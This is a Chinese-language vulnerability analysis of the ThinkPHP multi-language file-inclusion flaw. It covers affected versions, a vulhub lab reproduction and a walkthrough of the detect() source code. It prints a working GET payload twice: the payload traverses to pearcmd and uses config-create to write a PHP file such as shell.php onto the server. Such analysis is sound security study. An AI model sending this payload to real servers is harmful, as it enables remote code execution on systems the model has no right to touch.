0x01 漏洞原理
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd
文件包含这个trick即可实现RCE。
1. 关于pearcmd
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。 在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。 在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
想要利用此漏洞需要服务器满足下面两个条件才能利用:
1.PHP环境开启了
register_argc_argv
2.PHP环境安装了pcel/pear
2. 影响版本
6.0.1 < ThinkPHP ≤ 6.0.13 5.0.0 < ThinkPHP ≤ 5.0.12 5.1.0 < ThinkPHP ≤ 5.1.8
3. 漏洞指纹
header=”think_lang”
0x02 漏洞复现
1. 环境搭建
进入目录 vulhub/thinkphp/lang-rce
运行docker-compose up -d
启动环境
访问地址:http://your-ip:8080/
2. 漏洞利用
首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php
文件来确认文件包含漏洞是否存在。
如果漏洞存在,则服务器会出错,返回500页面。
向服务器发送payload生成文件shell.php
文件
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
访问shell.php
:http://192.168.80.110:8080/shell.php
cookie处的构造
0x03 漏洞分析
1. pearcmd源码
require_once 'PEAR.php';
require_once 'PEAR/Frontend.php';
require_once 'PEAR/Config.php';
require_once 'PEAR/Command.php';
require_once 'Console/Getopt.php';
这里所需要用到的config-create
处于–>config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create
,config-create
的作用–>create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。
payload
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+xxx.php HTTP/1.1
2. ThinkPHP多语言源码分析
由于这个的攻击条件是要开启多语言功能,框架默认会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。
多语言功能包–>langpack
langset
继续定位到detect
detect–>可以看到GET[“lang”] 、HEADER[“think-lang”] 、COOKIE[“think_lang”] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset这个值便是可控的了
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';
if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = $request->get($this->config['detect_var']);
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = $request->header($this->config['header_var']);
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = $request->cookie($this->config['cookie_var']);
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$langSet = $request->server('HTTP_ACCEPT_LANGUAGE');
}
if (preg_match('/^([a-z\d\-]+)/i', $langSet, $matches)) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
} else {
$langSet = $this->lang->getLangSet();
}
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
// 合法的语言
$this->lang->setLangSet($langSet);
} else {
$langSet = $this->lang->getLangSet();
}
return $langSet;
}
默认情况下,allow_lang_list 这个配置为空,langSet 被赋值给 $range,将$range 返回。
继续跟进loadlangpack里发现
this->load
已经在前面得知 langset是可控的,继续往下看
跟进this->load
this->parse 调用 include file
由于上面的langset是可控的,然后又被带入到this->parse执行,最后形成了文件包含漏洞